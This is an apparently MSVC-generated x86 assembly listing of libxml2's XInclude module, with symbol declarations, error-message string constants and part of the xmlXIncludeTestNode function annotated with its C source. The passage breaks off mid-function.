COMM _xmlMalloc:DWORD
COMM _xmlMallocAtomic:DWORD
COMM _xmlRealloc:DWORD
COMM _xmlFree:DWORD
COMM _xmlMemStrdup:DWORD
COMM _xmlXPathNAN:QWORD
COMM _xmlXPathPINF:QWORD
COMM _xmlXPathNINF:QWORD
COMM _xmlIsBaseCharGroup:BYTE:010H
COMM _xmlIsCharGroup:BYTE:010H
COMM _xmlIsCombiningGroup:BYTE:010H
COMM _xmlIsDigitGroup:BYTE:010H
COMM _xmlIsExtenderGroup:BYTE:010H
COMM _xmlIsIdeographicGroup:BYTE:010H
COMM _xmlIsPubidChar_tab:BYTE:0100H
COMM _xmlParserMaxDepth:DWORD
COMM _forbiddenExp:DWORD
COMM _emptyExp:DWORD
_DATA ENDS
msvcjmc SEGMENT
__188180DA_corecrt_math@h DB 01H
__2CC6E67D_corecrt_stdio_config@h DB 01H
__05476D76_corecrt_wstdio@h DB 01H
__A452D4A0_stdio@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__07371726_xinclude@c DB 01H
msvcjmc ENDS
PUBLIC _xmlXIncludeProcess
PUBLIC _xmlXIncludeProcessFlags
PUBLIC _xmlXIncludeProcessFlagsData
PUBLIC _xmlXIncludeProcessTreeFlagsData
PUBLIC _xmlXIncludeProcessTree
PUBLIC _xmlXIncludeProcessTreeFlags
PUBLIC _xmlXIncludeNewContext
PUBLIC _xmlXIncludeSetFlags
PUBLIC _xmlXIncludeFreeContext
PUBLIC _xmlXIncludeProcessNode
PUBLIC __JustMyCode_Default
PUBLIC ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@ ; `string'
PUBLIC ??_C@_0CA@MIIEHMNN@http?3?1?1www?4w3?4org?12003?1XInclude@ ; `string'
PUBLIC ??_C@_0CA@JAOIMFBM@http?3?1?1www?4w3?4org?12001?1XInclude@ ; `string'
PUBLIC ??_C@_0BJ@LMPOCELI@growing?5XInclude?5context@ ; `string'
PUBLIC ??_C@_0BK@NPNMIHKC@creating?5XInclude?5context@ ; `string'
PUBLIC ??_C@_0BM@FPMOMHKP@detected?5a?5recursion?5in?5?$CFs?6@ ; `string'
PUBLIC ??_C@_0L@NDJLOKMA@adding?5URL@ ; `string'
PUBLIC ??_C@_0BP@IGCIIMIK@cannot?5allocate?5parser?5context@ ; `string'
PUBLIC ??_C@_04CMBCJJJD@href@ ; `string'
PUBLIC ??_C@_00CNPNBAHC@@ ; `string'
PUBLIC ??_C@_05GOEGCMJM@parse@ ; `string'
PUBLIC ??_C@_03PJHHNEEI@xml@ ; `string'
PUBLIC ??_C@_04CIMGMMMG@text@ ; `string'
PUBLIC ??_C@_0BO@KBIJIENG@invalid?5value?5?$CFs?5for?5?8parse?8?6@ ; `string'
PUBLIC ??_C@_0BC@LNHFKIFC@failed?5build?5URL?6@ ; `string'
PUBLIC ??_C@_08DNJCJFMK@xpointer@ ; `string'
PUBLIC ??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@ ; `string'
PUBLIC ??_C@_0EC@PPIAEBNK@Invalid?5fragment?5identifier?5in?5@ ; `string'
PUBLIC ??_C@_0DD@GKECCJLJ@detected?5a?5local?5recursion?5with@ ; `string'
PUBLIC ??_C@_0P@NPOPFDNN@processing?5doc@ ; `string'
PUBLIC ??_C@_0BA@KMMAMGLP@processing?5text@ ; `string'
PUBLIC ??_C@_0CH@PEJDIBGL@mismatch?5in?5redefinition?5of?5ent@ ; `string'
PUBLIC ??_C@_0CD@PEMEOEGM@could?5not?5create?5XPointer?5conte@ ; `string'
PUBLIC ??_C@_0CB@CBJIEBBP@XPointer?5evaluation?5failed?3?5?$CD?$CFs@ ; `string'
PUBLIC ??_C@_0BO@BAOAOILH@XPointer?5is?5not?5a?5range?3?5?$CD?$CFs?6@ ; `string'
PUBLIC ??_C@_0CE@BOPHMAJL@XPointer?5selects?5an?5attribute?3?5@ ; `string'
PUBLIC ??_C@_0CD@OMDJDBLC@XPointer?5selects?5a?5namespace?3?5?$CD@ ; `string'
PUBLIC ??_C@_0CI@NPJMIHPM@XPointer?5selects?5unexpected?5nod@ ; `string'
PUBLIC ??_C@_0CF@GLDAAHFK@http?3?1?1www?4w3?4org?1XML?11998?1name@ ; `string'
PUBLIC ??_C@_04BHIIPFEC@base@ ; `string'
PUBLIC ??_C@_0CG@KGJNPLJO@trying?5to?5build?5relative?5URI?5fr@ ; `string'
PUBLIC ??_C@_0CA@DKDEEGND@trying?5to?5rebuild?5base?5from?5?$CFs?6@ ; `string'
PUBLIC ??_C@_0CM@EOJCKNLM@fragment?5identifier?5forbidden?5f@ ; `string'
PUBLIC ??_C@_0CO@JGKFOGCG@text?5serialization?5of?5document?5@ ; `string'
PUBLIC ??_C@_08MLPGAEIK@encoding@ ; `string'
PUBLIC ??_C@_0BL@EIOJIGPP@encoding?5?$CFs?5not?5supported?6@ ; `string'
PUBLIC ??_C@_0BK@JOLCHMFH@?$CFs?5contains?5invalid?5char?6@ ; `string'
PUBLIC ??_C@_08LFBOCJLE@fallback@ ; `string'
PUBLIC ??_C@_0CO@LMECEKCE@could?5not?5load?5?$CFs?0?5and?5no?5fallb@ ; `string'
PUBLIC ??_C@_0DF@GJKNHIHG@XInclude?5error?3?5would?5result?5in@ ; `string'
PUBLIC ??_C@_0BG@FIICHNCC@failed?5to?5build?5node?6@ ; `string'
PUBLIC ??_C@_07FHOHOHLG@include@ ; `string'
PUBLIC ??_C@_0BL@JFPJOKPM@?$CFs?5has?5an?5?8include?8?5child?6@ ; `string'
PUBLIC ??_C@_0CD@NFGHFOEO@?$CFs?5has?5multiple?5fallback?5childr@ ; `string'
PUBLIC ??_C@_0CF@BKGBMCAE@?$CFs?5is?5not?5the?5child?5of?5an?5?8incl@ ; `string'
EXTRN _xmlStrdup:PROC
EXTRN _xmlStrchr:PROC
EXTRN _xmlStrEqual:PROC
EXTRN _xmlBufContent:PROC
EXTRN _xmlBufShrink:PROC
EXTRN _xmlDictReference:PROC
EXTRN _xmlDictFree:PROC
EXTRN _xmlCreateIntSubset:PROC
EXTRN _xmlFreeDoc:PROC
EXTRN _xmlNewDocNode:PROC
EXTRN _xmlNewText:PROC
EXTRN _xmlNewTextLen:PROC
EXTRN _xmlCopyNode:PROC
EXTRN _xmlDocCopyNode:PROC
EXTRN _xmlDocCopyNodeList:PROC
EXTRN _xmlCopyNodeList:PROC
EXTRN _xmlDocGetRootElement:PROC
EXTRN _xmlAddChild:PROC
EXTRN _xmlAddPrevSibling:PROC
EXTRN _xmlAddNextSibling:PROC
EXTRN _xmlUnlinkNode:PROC
EXTRN _xmlFreeNode:PROC
EXTRN _xmlGetProp:PROC
EXTRN _xmlGetNsProp:PROC
EXTRN _xmlNodeAddContentLen:PROC
EXTRN _xmlNodeGetBase:PROC
EXTRN _xmlNodeSetBase:PROC
EXTRN _xmlHashScan:PROC
EXTRN ___xmlRaiseError:PROC
EXTRN _xmlAddDocEntity:PROC
EXTRN _xmlGetDocEntity:PROC
EXTRN _xmlGetCharEncodingHandler:PROC
EXTRN _xmlParseCharEncoding:PROC
EXTRN _xmlCharEncCloseFunc:PROC
EXTRN _xmlParserInputBufferRead:PROC
EXTRN _xmlFreeParserInputBuffer:PROC
EXTRN _xmlParserGetDirectory:PROC
EXTRN _xmlInitParser:PROC
EXTRN _xmlParseDocument:PROC
EXTRN _xmlNewParserCtxt:PROC
EXTRN _xmlFreeParserCtxt:PROC
EXTRN _xmlLoadExternalEntity:PROC
EXTRN _xmlCtxtUseOptions:PROC
EXTRN _xmlBuildURI:PROC
EXTRN _xmlBuildRelativeURI:PROC
EXTRN _xmlParseURI:PROC
EXTRN _xmlSaveUri:PROC
EXTRN _xmlURIEscape:PROC
EXTRN _xmlFreeURI:PROC
EXTRN _xmlXPathFreeObject:PROC
EXTRN _xmlXPathFreeContext:PROC
EXTRN _xmlXPtrNewContext:PROC
EXTRN _xmlXPtrEval:PROC
EXTRN _xmlFreeInputStream:PROC
EXTRN _inputPush:PROC
EXTRN _xmlStringCurrentChar:PROC
EXTRN _xmlBufLength:PROC
EXTRN _xmlXPtrAdvanceNode:PROC
EXTRN @_RTC_CheckStackVars@8:PROC
EXTRN @__CheckForDebuggerJustMyCode@4:PROC
EXTRN __RTC_CheckEsp:PROC
EXTRN __RTC_InitBase:PROC
EXTRN __RTC_Shutdown:PROC
EXTRN _memset:PROC
; COMDAT rtc$TMZ
rtc$TMZ SEGMENT
__RTC_Shutdown.rtc$TMZ DD FLAT:__RTC_Shutdown
rtc$TMZ ENDS
; COMDAT rtc$IMZ
rtc$IMZ SEGMENT
__RTC_InitBase.rtc$IMZ DD FLAT:__RTC_InitBase
rtc$IMZ ENDS
; COMDAT ??_C@_0CF@BKGBMCAE@?$CFs?5is?5not?5the?5child?5of?5an?5?8incl@
CONST SEGMENT
??_C@_0CF@BKGBMCAE@?$CFs?5is?5not?5the?5child?5of?5an?5?8incl@ DB '%s is '
DB 'not the child of an ''include''', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CD@NFGHFOEO@?$CFs?5has?5multiple?5fallback?5childr@
CONST SEGMENT
??_C@_0CD@NFGHFOEO@?$CFs?5has?5multiple?5fallback?5childr@ DB '%s has mul'
DB 'tiple fallback children', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BL@JFPJOKPM@?$CFs?5has?5an?5?8include?8?5child?6@
CONST SEGMENT
??_C@_0BL@JFPJOKPM@?$CFs?5has?5an?5?8include?8?5child?6@ DB '%s has an '''
DB 'include'' child', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07FHOHOHLG@include@
CONST SEGMENT
??_C@_07FHOHOHLG@include@ DB 'include', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BG@FIICHNCC@failed?5to?5build?5node?6@
CONST SEGMENT
??_C@_0BG@FIICHNCC@failed?5to?5build?5node?6@ DB 'failed to build node', 0aH
DB 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DF@GJKNHIHG@XInclude?5error?3?5would?5result?5in@
CONST SEGMENT
??_C@_0DF@GJKNHIHG@XInclude?5error?3?5would?5result?5in@ DB 'XInclude err'
DB 'or: would result in multiple root nodes', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CO@LMECEKCE@could?5not?5load?5?$CFs?0?5and?5no?5fallb@
CONST SEGMENT
??_C@_0CO@LMECEKCE@could?5not?5load?5?$CFs?0?5and?5no?5fallb@ DB 'could n'
DB 'ot load %s, and no fallback was found', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08LFBOCJLE@fallback@
CONST SEGMENT
??_C@_08LFBOCJLE@fallback@ DB 'fallback', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BK@JOLCHMFH@?$CFs?5contains?5invalid?5char?6@
CONST SEGMENT
??_C@_0BK@JOLCHMFH@?$CFs?5contains?5invalid?5char?6@ DB '%s contains inva'
DB 'lid char', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BL@EIOJIGPP@encoding?5?$CFs?5not?5supported?6@
CONST SEGMENT
??_C@_0BL@EIOJIGPP@encoding?5?$CFs?5not?5supported?6@ DB 'encoding %s not'
DB ' supported', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08MLPGAEIK@encoding@
CONST SEGMENT
??_C@_08MLPGAEIK@encoding@ DB 'encoding', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CO@JGKFOGCG@text?5serialization?5of?5document?5@
CONST SEGMENT
??_C@_0CO@JGKFOGCG@text?5serialization?5of?5document?5@ DB 'text serializ'
DB 'ation of document not available', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CM@EOJCKNLM@fragment?5identifier?5forbidden?5f@
CONST SEGMENT
??_C@_0CM@EOJCKNLM@fragment?5identifier?5forbidden?5f@ DB 'fragment ident'
DB 'ifier forbidden for text: %s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CA@DKDEEGND@trying?5to?5rebuild?5base?5from?5?$CFs?6@
CONST SEGMENT
??_C@_0CA@DKDEEGND@trying?5to?5rebuild?5base?5from?5?$CFs?6@ DB 'trying t'
DB 'o rebuild base from %s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CG@KGJNPLJO@trying?5to?5build?5relative?5URI?5fr@
CONST SEGMENT
??_C@_0CG@KGJNPLJO@trying?5to?5build?5relative?5URI?5fr@ DB 'trying to bu'
DB 'ild relative URI from %s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04BHIIPFEC@base@
CONST SEGMENT
??_C@_04BHIIPFEC@base@ DB 'base', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CF@GLDAAHFK@http?3?1?1www?4w3?4org?1XML?11998?1name@
CONST SEGMENT
??_C@_0CF@GLDAAHFK@http?3?1?1www?4w3?4org?1XML?11998?1name@ DB 'http://ww'
DB 'w.w3.org/XML/1998/namespace', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CI@NPJMIHPM@XPointer?5selects?5unexpected?5nod@
CONST SEGMENT
??_C@_0CI@NPJMIHPM@XPointer?5selects?5unexpected?5nod@ DB 'XPointer selec'
DB 'ts unexpected nodes: #%s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CD@OMDJDBLC@XPointer?5selects?5a?5namespace?3?5?$CD@
CONST SEGMENT
??_C@_0CD@OMDJDBLC@XPointer?5selects?5a?5namespace?3?5?$CD@ DB 'XPointer '
DB 'selects a namespace: #%s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CE@BOPHMAJL@XPointer?5selects?5an?5attribute?3?5@
CONST SEGMENT
??_C@_0CE@BOPHMAJL@XPointer?5selects?5an?5attribute?3?5@ DB 'XPointer sel'
DB 'ects an attribute: #%s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BO@BAOAOILH@XPointer?5is?5not?5a?5range?3?5?$CD?$CFs?6@
CONST SEGMENT
??_C@_0BO@BAOAOILH@XPointer?5is?5not?5a?5range?3?5?$CD?$CFs?6@ DB 'XPoint'
DB 'er is not a range: #%s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CB@CBJIEBBP@XPointer?5evaluation?5failed?3?5?$CD?$CFs@
CONST SEGMENT
??_C@_0CB@CBJIEBBP@XPointer?5evaluation?5failed?3?5?$CD?$CFs@ DB 'XPointe'
DB 'r evaluation failed: #%s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CD@PEMEOEGM@could?5not?5create?5XPointer?5conte@
CONST SEGMENT
??_C@_0CD@PEMEOEGM@could?5not?5create?5XPointer?5conte@ DB 'could not cre'
DB 'ate XPointer context', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CH@PEJDIBGL@mismatch?5in?5redefinition?5of?5ent@
CONST SEGMENT
??_C@_0CH@PEJDIBGL@mismatch?5in?5redefinition?5of?5ent@ DB 'mismatch in r'
DB 'edefinition of entity %s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BA@KMMAMGLP@processing?5text@
CONST SEGMENT
??_C@_0BA@KMMAMGLP@processing?5text@ DB 'processing text', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0P@NPOPFDNN@processing?5doc@
CONST SEGMENT
??_C@_0P@NPOPFDNN@processing?5doc@ DB 'processing doc', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DD@GKECCJLJ@detected?5a?5local?5recursion?5with@
CONST SEGMENT
??_C@_0DD@GKECCJLJ@detected?5a?5local?5recursion?5with@ DB 'detected a lo'
DB 'cal recursion with no xpointer in %s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0EC@PPIAEBNK@Invalid?5fragment?5identifier?5in?5@
CONST SEGMENT
??_C@_0EC@PPIAEBNK@Invalid?5fragment?5identifier?5in?5@ DB 'Invalid fragm'
DB 'ent identifier in URI %s use the xpointer attribute', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@
CONST SEGMENT
??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@ DB 'invalid value URI %s'
DB 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08DNJCJFMK@xpointer@
CONST SEGMENT
??_C@_08DNJCJFMK@xpointer@ DB 'xpointer', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BC@LNHFKIFC@failed?5build?5URL?6@
CONST SEGMENT
??_C@_0BC@LNHFKIFC@failed?5build?5URL?6@ DB 'failed build URL', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BO@KBIJIENG@invalid?5value?5?$CFs?5for?5?8parse?8?6@
CONST SEGMENT
??_C@_0BO@KBIJIENG@invalid?5value?5?$CFs?5for?5?8parse?8?6@ DB 'invalid v'
DB 'alue %s for ''parse''', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04CIMGMMMG@text@
CONST SEGMENT
??_C@_04CIMGMMMG@text@ DB 'text', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03PJHHNEEI@xml@
CONST SEGMENT
??_C@_03PJHHNEEI@xml@ DB 'xml', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05GOEGCMJM@parse@
CONST SEGMENT
??_C@_05GOEGCMJM@parse@ DB 'parse', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_00CNPNBAHC@@
CONST SEGMENT
??_C@_00CNPNBAHC@@ DB 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04CMBCJJJD@href@
CONST SEGMENT
??_C@_04CMBCJJJD@href@ DB 'href', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BP@IGCIIMIK@cannot?5allocate?5parser?5context@
CONST SEGMENT
??_C@_0BP@IGCIIMIK@cannot?5allocate?5parser?5context@ DB 'cannot allocate'
DB ' parser context', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@NDJLOKMA@adding?5URL@
CONST SEGMENT
??_C@_0L@NDJLOKMA@adding?5URL@ DB 'adding URL', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BM@FPMOMHKP@detected?5a?5recursion?5in?5?$CFs?6@
CONST SEGMENT
??_C@_0BM@FPMOMHKP@detected?5a?5recursion?5in?5?$CFs?6@ DB 'detected a re'
DB 'cursion in %s', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BK@NPNMIHKC@creating?5XInclude?5context@
CONST SEGMENT
??_C@_0BK@NPNMIHKC@creating?5XInclude?5context@ DB 'creating XInclude con'
DB 'text', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BJ@LMPOCELI@growing?5XInclude?5context@
CONST SEGMENT
??_C@_0BJ@LMPOCELI@growing?5XInclude?5context@ DB 'growing XInclude conte'
DB 'xt', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CA@JAOIMFBM@http?3?1?1www?4w3?4org?12001?1XInclude@
CONST SEGMENT
??_C@_0CA@JAOIMFBM@http?3?1?1www?4w3?4org?12001?1XInclude@ DB 'http://www'
DB '.w3.org/2001/XInclude', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CA@MIIEHMNN@http?3?1?1www?4w3?4org?12003?1XInclude@
CONST SEGMENT
??_C@_0CA@MIIEHMNN@http?3?1?1www?4w3?4org?12003?1XInclude@ DB 'http://www'
DB '.w3.org/2003/XInclude', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
CONST SEGMENT
??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@ DB 'Memory al'
DB 'location failed : %s', 0aH, 00H ; `string'
CONST ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
push ebp
mov ebp, esp
pop ebp
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeTestNode
_TEXT SEGMENT
_nb_fallback$1 = -8 ; size = 4
_child$2 = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_node$ = 12 ; size = 4
_xmlXIncludeTestNode PROC ; COMDAT
; 2286 : xmlXIncludeTestNode(xmlXIncludeCtxtPtr ctxt, xmlNodePtr node) {
push ebp
mov ebp, esp
sub esp, 8
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2287 : if (node == NULL)
cmp DWORD PTR _node$[ebp], 0
jne SHORT $LN4@xmlXInclud
; 2288 : return(0);
xor eax, eax
jmp $LN1@xmlXInclud
$LN4@xmlXInclud:
; 2289 : if (node->type != XML_ELEMENT_NODE)
mov eax, DWORD PTR _node$[ebp]
cmp DWORD PTR [eax+4], 1
je SHORT $LN5@xmlXInclud
; 2290 : return(0);
xor eax, eax
jmp $LN1@xmlXInclud
$LN5@xmlXInclud:
; 2291 : if (node->ns == NULL)
mov ecx, DWORD PTR _node$[ebp]
cmp DWORD PTR [ecx+36], 0
jne SHORT $LN6@xmlXInclud
; 2292 : return(0);
xor eax, eax
jmp $LN1@xmlXInclud
$LN6@xmlXInclud:
; 2293 : if ((xmlStrEqual(node->ns->href, XINCLUDE_NS)) ||
push OFFSET ??_C@_0CA@MIIEHMNN@http?3?1?1www?4w3?4org?12003?1XInclude@
mov edx, DWORD PTR _node$[ebp]
mov eax, DWORD PTR [edx+36]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN8@xmlXInclud
push OFFSET ??_C@_0CA@JAOIMFBM@http?3?1?1www?4w3?4org?12001?1XInclude@
mov edx, DWORD PTR _node$[ebp]
mov eax, DWORD PTR [edx+36]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
je $LN7@xmlXInclud
$LN8@xmlXInclud:
; 2294 : (xmlStrEqual(node->ns->href, XINCLUDE_OLD_NS))) {
; 2295 : if (xmlStrEqual(node->ns->href, XINCLUDE_OLD_NS)) {
push OFFSET ??_C@_0CA@JAOIMFBM@http?3?1?1www?4w3?4org?12001?1XInclude@
mov edx, DWORD PTR _node$[ebp]
mov eax, DWORD PTR [edx+36]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN9@xmlXInclud
; 2296 : if (ctxt->legacy == 0) {
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+56], 0
jne SHORT $LN9@xmlXInclud
; 2297 : #if 0 /* wait for the XML Core Working Group to get something stable ! */
; 2298 : xmlXIncludeWarn(ctxt, node, XML_XINCLUDE_DEPRECATED_NS,
; 2299 : "Deprecated XInclude namespace found, use %s",
; 2300 : XINCLUDE_NS);
; 2301 : #endif
; 2302 : ctxt->legacy = 1;
mov eax, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [eax+56], 1
$LN9@xmlXInclud:
; 2303 : }
; 2304 : }
; 2305 : if (xmlStrEqual(node->name, XINCLUDE_NODE)) {
push OFFSET ??_C@_07FHOHOHLG@include@
mov ecx, DWORD PTR _node$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
je $LN11@xmlXInclud
; 2306 : xmlNodePtr child = node->children;
mov eax, DWORD PTR _node$[ebp]
mov ecx, DWORD PTR [eax+12]
mov DWORD PTR _child$2[ebp], ecx
; 2307 : int nb_fallback = 0;
mov DWORD PTR _nb_fallback$1[ebp], 0
$LN2@xmlXInclud:
; 2308 :
; 2309 : while (child != NULL) {
cmp DWORD PTR _child$2[ebp], 0
je $LN3@xmlXInclud
; 2310 : if ((child->type == XML_ELEMENT_NODE) &&
; 2311 : (child->ns != NULL) &&
mov edx, DWORD PTR _child$2[ebp]
cmp DWORD PTR [edx+4], 1
jne $LN12@xmlXInclud
mov eax, DWORD PTR _child$2[ebp]
cmp DWORD PTR [eax+36], 0
je $LN12@xmlXInclud
push OFFSET ??_C@_0CA@MIIEHMNN@http?3?1?1www?4w3?4org?12003?1XInclude@
mov ecx, DWORD PTR _child$2[ebp]
mov edx, DWORD PTR [ecx+36]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN13@xmlXInclud
push OFFSET ??_C@_0CA@JAOIMFBM@http?3?1?1www?4w3?4org?12001?1XInclude@
mov ecx, DWORD PTR _child$2[ebp]
mov edx, DWORD PTR [ecx+36]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN12@xmlXInclud
$LN13@xmlXInclud:
; 2312 : ((xmlStrEqual(child->ns->href, XINCLUDE_NS)) ||
; 2313 : (xmlStrEqual(child->ns->href, XINCLUDE_OLD_NS)))) {
; 2314 : if (xmlStrEqual(child->name, XINCLUDE_NODE)) {
push OFFSET ??_C@_07FHOHOHLG@include@
mov ecx, DWORD PTR _child$2[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN14@xmlXInclud
; 2315 : xmlXIncludeErr(ctxt, node,
push OFFSET ??_C@_07FHOHOHLG@include@
push OFFSET ??_C@_0BL@JFPJOKPM@?$CFs?5has?5an?5?8include?8?5child?6@
push 1614 ; 0000064eH
mov eax, DWORD PTR _node$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 2316 : XML_XINCLUDE_INCLUDE_IN_INCLUDE,
; 2317 : "%s has an 'include' child\n",
; 2318 : XINCLUDE_NODE);
; 2319 : return(0);
xor eax, eax
jmp $LN1@xmlXInclud
$LN14@xmlXInclud:
; 2320 : }
; 2321 : if (xmlStrEqual(child->name, XINCLUDE_FALLBACK)) {
push OFFSET ??_C@_08LFBOCJLE@fallback@
mov edx, DWORD PTR _child$2[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN12@xmlXInclud
; 2322 : nb_fallback++;
mov ecx, DWORD PTR _nb_fallback$1[ebp]
add ecx, 1
mov DWORD PTR _nb_fallback$1[ebp], ecx
$LN12@xmlXInclud:
; 2323 : }
; 2324 : }
; 2325 : child = child->next;
mov edx, DWORD PTR _child$2[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _child$2[ebp], eax
; 2326 : }
jmp $LN2@xmlXInclud
$LN3@xmlXInclud:
; 2327 : if (nb_fallback > 1) {
cmp DWORD PTR _nb_fallback$1[ebp], 1
jle SHORT $LN16@xmlXInclud
; 2328 : xmlXIncludeErr(ctxt, node, XML_XINCLUDE_FALLBACKS_IN_INCLUDE,
push OFFSET ??_C@_07FHOHOHLG@include@
push OFFSET ??_C@_0CD@NFGHFOEO@?$CFs?5has?5multiple?5fallback?5childr@
push 1615 ; 0000064fH
mov ecx, DWORD PTR _node$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 2329 : "%s has multiple fallback children\n",
; 2330 : XINCLUDE_NODE);
; 2331 : return(0);
xor eax, eax
jmp $LN1@xmlXInclud
$LN16@xmlXInclud:
; 2332 : }
; 2333 : return(1);
mov eax, 1
jmp $LN1@xmlXInclud
$LN11@xmlXInclud:
; 2334 : }
; 2335 : if (xmlStrEqual(node->name, XINCLUDE_FALLBACK)) {
push OFFSET ??_C@_08LFBOCJLE@fallback@
mov eax, DWORD PTR _node$[ebp]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
je $LN7@xmlXInclud
; 2336 : if ((node->parent == NULL) ||
; 2337 : (node->parent->type != XML_ELEMENT_NODE) ||
; 2338 : (node->parent->ns == NULL) ||
; 2339 : ((!xmlStrEqual(node->parent->ns->href, XINCLUDE_NS)) &&
; 2340 : (!xmlStrEqual(node->parent->ns->href, XINCLUDE_OLD_NS))) ||
mov edx, DWORD PTR _node$[ebp]
cmp DWORD PTR [edx+20], 0
je SHORT $LN19@xmlXInclud
mov eax, DWORD PTR _node$[ebp]
mov ecx, DWORD PTR [eax+20]
cmp DWORD PTR [ecx+4], 1
jne SHORT $LN19@xmlXInclud
mov edx, DWORD PTR _node$[ebp]
mov eax, DWORD PTR [edx+20]
cmp DWORD PTR [eax+36], 0
je SHORT $LN19@xmlXInclud
push OFFSET ??_C@_0CA@MIIEHMNN@http?3?1?1www?4w3?4org?12003?1XInclude@
mov ecx, DWORD PTR _node$[ebp]
mov edx, DWORD PTR [ecx+20]
mov eax, DWORD PTR [edx+36]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN20@xmlXInclud
push OFFSET ??_C@_0CA@JAOIMFBM@http?3?1?1www?4w3?4org?12001?1XInclude@
mov edx, DWORD PTR _node$[ebp]
mov eax, DWORD PTR [edx+20]
mov ecx, DWORD PTR [eax+36]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN19@xmlXInclud
$LN20@xmlXInclud:
push OFFSET ??_C@_07FHOHOHLG@include@
mov eax, DWORD PTR _node$[ebp]
mov ecx, DWORD PTR [eax+20]
